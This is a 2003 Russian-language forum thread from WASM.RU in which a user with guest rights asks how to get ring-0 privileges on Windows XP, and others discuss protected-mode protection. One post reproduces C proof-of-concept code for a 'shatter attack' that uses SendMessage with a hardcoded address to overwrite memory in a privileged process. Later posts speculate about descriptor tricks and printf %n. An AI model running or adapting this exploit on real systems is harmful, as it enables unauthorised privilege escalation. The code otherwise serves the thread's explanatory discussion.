· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.WIN32 —› 0 кольцо защиты

. 1 . 2 . >>

Посл.отвђт Сообщенiе


Дата: Июл 13, 2003 04:24:54

Как в XP с правами "гостя" запустить
программу на 0 уровне привелегий


Дата: Июл 13, 2003 07:29:29

Берешь программу, берешь нулевое кольцо и запускаешь.

Слона в шоколаде, случаем, не нужно?


Дата: Июл 15, 2003 03:09:22

volodya Суть такая - есть программа
в обход BIOS через порты пишет на винт, но
сам понимаеш - без 0 уровня не запустить,
если ты вошел как администратор, то я даже
не задавал бы этого вопроса, а что делать
если ты имееш права "гостя".


Дата: Июл 15, 2003 03:32:05

Да еще в принципе все адреса-параметры функций
передаваемых в ntoskrnl.exe проверяются, чтобы
они не были более 80000000h. Если есть возможность
из 3 кольца записать хоть 1 байтик в адрес более
80000000h, то переход на уровнь 0 - дело техники.


Дата: Июл 15, 2003 03:37:51

А разве в ХР возможно получить 0 кольцо ?
какой тогда в этом ХР смысл.....


Дата: Июл 15, 2003 03:46:36

SPACES Хорошо, что ты тогда скажеш о prtinf("..."),
ведь число параметров в этой функции неограничено,
проверяются ли они.
Кроме того я не смогу сам проверить хоть даже
небольшую часть функций на возможность передачи им прямо
или косвенно неверного адреса (за пределом 80000000h).
Есть и такая возможность - скринсавер запускается от
имени system, которая имеет полномочия для запука драйвера


Дата: Июл 15, 2003 05:29:01 · Поправил: volodya

Значит так, дорогой мой PROFi, который на самом деле не профи.

в обход BIOS через порты пишет на винт, но
если ты вошел как администратор

Даже если зайдешь как господь бог, будешь первым, кому удалось заставить прикладную программу обратится напрямую к железу в XP. Это ж надо такое придумать!

Хорошо, что ты тогда скажеш о prtinf("..."),
ведь число параметров в этой функции неограничено,
проверяются ли они.


Вообще шедевр! Ты знаешь, что такое три точки? Хоть раз смотрел исходный код printf? А, точнее, макросов va_list и va_start? И на фига их проверять? Это проблема программиста, в противном случае прога слетит, всего делов!

Если есть возможность
из 3 кольца записать хоть 1 байтик в адрес более


Ой, мамочка моя. Поясняю в первый и последний раз для всех чайников. ПОЛНЫХ чайников. Причем, поясняю агрессивно, т.к. вопросы, показанные выше свидетельствуют не просто об отсутствии знаний, но о нежелании что-либо узнавать!
Любой софтверный прибабас мало чего стоит, до тех пор пока он не поддерживается аппаратно. Так вот, в Intel (да и не только в них) процессорах есть такое понятие как "защита". Это означает ограничение на использование сегментов, ограничение доступа к сегментам, ограничение набора инструкций и ограничение возможности межсегментных вызовов. Если бы ты хоть раз озаботился просмотреть, к примеру, рассылку Broken Sword по основам защищенного режима, то этих бы вопросов не возникло! Знал бы тогда, что такое привилегии селектора и привилегии дескриптора! А также, понимал бы, что назначает их ось прикладной задаче, а не наоборот. И теперь все рыпанья прикладной программы контролируются непосредственно процом!

Другое дело, если после детального изучения Native API ты найдешь там какой-то баг...


Дата: Июл 15, 2003 22:09:36

volodya
Я каждый раз читаю твои ответы, и с каждым разом не перестаю восхищаться...
Я тебя, даже, иногда цитирую...


Дата: Июл 15, 2003 23:45:51

Это ты на то, что я ругаюсь часто, или на то, что объяснения чего-то стоят? Со стороны виднее. Мне тяжело сказать, хорошо я объясняю или нет.


Дата: Июл 15, 2003 23:53:56

volodya
Объясняешь ты нормально, даже очень(мне во всяком случае понятно). Но я также испытываю огромное удовольствие, видя как ты ругаешся. Иногда такое загнешь, я аж записываю.


Дата: Июл 15, 2003 23:59:01

:)


Дата: Июл 16, 2003 00:02:30 · Поправил: KiNDeR

:)


Дата: Июл 16, 2003 00:53:08 · Поправил: volodya

По поводу кольца 0.
Есть некоторые веселые вещи. Получили название шаттер-атак (shatter-attack). Гляньте на код:
#include <windows.h>
#include <commctrl.h>

int main(int argc, char *argv[])
{
	long lResult;
	long hWndControl,hHdrControl;
	char buffer[65535];

	// Stuff The Buffer
	memset(buffer,0x04,sizeof(buffer));

	// Window Title Handle
	hWndControl = 0x000C01E6;

	// Set The Window Title
	lResult = SendMessage((HWND) hWndControl,(UINT) WM_SETTEXT,0,&buffer);

	// Listview Header Handle
	hWndControl = 0x000E0274;

	// Overwrite Something Important
	lResult = SendMessage((HWND) hWndControl,(UINT)
HDM_GETITEMRECT,0,0x77EDA1EA);

	// Cause Exception
	lResult = SendMessage((HWND) hWndControl,(UINT) HDM_GETITEMRECT,0,1);
	return 0;
}


Особо обратите внимание на адрес, передаваемый SendMessage. Сама система обмена сообщениями - один большой баг :) Шутка. Я такую написать не смогу.
Линк на тему:
http://informatics.ntu.edu.au/staff/kgilbert/security/shatter_attack.h tml

Так же любопытен факт о SEH-обработчиках и занулении dr-регистров внутри оного, что говорит об изменении уровня привилегий. Фича, в которой я до сих пор не разобрался. Надо будет покопать.


Дата: Июл 16, 2003 01:46:45

volodya По поводу незнаний - это ты зря:
что касается адреса более 80000000h, то
здесь прежде всего идет защита на уровне страниц, а
не сегментов и обойти ее углубляясь в изучение
багов процессора действительно нельзя (если только
Intel не лоханется), а вот в XP скорее всего лазейки
существуют. Взять хотя бы то, что не только
прерывание int 2Eh обрабатывается на уровне 0 (ой
извиняюсь, а то в XP вызов идет ч/з sysenter), есть ведь
и другие. Я же вынес вопрос на форум лишь для того, чтобы
заново не изобретать велосипед.


Дата: Июл 16, 2003 01:51:56 · Поправил: PROFi

Да еще как ты думаеш что будет если загрузить
селектор DS или ES дескритором FS, ведь у него ганица маааленькая, и sysenter DS и ES не перегружает, впрочем
как и начало процедуры обработки прерывания 2Eh, а
вот параметры из стека вызывающей программы в свой
стек она копирует, причем банальной movsb.
А по поводу printf - что вы скажете по поводу
printf("%n",&adr...) - что делает %n ? И что будет в
стеке.

. 1 . 2 . >>


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.075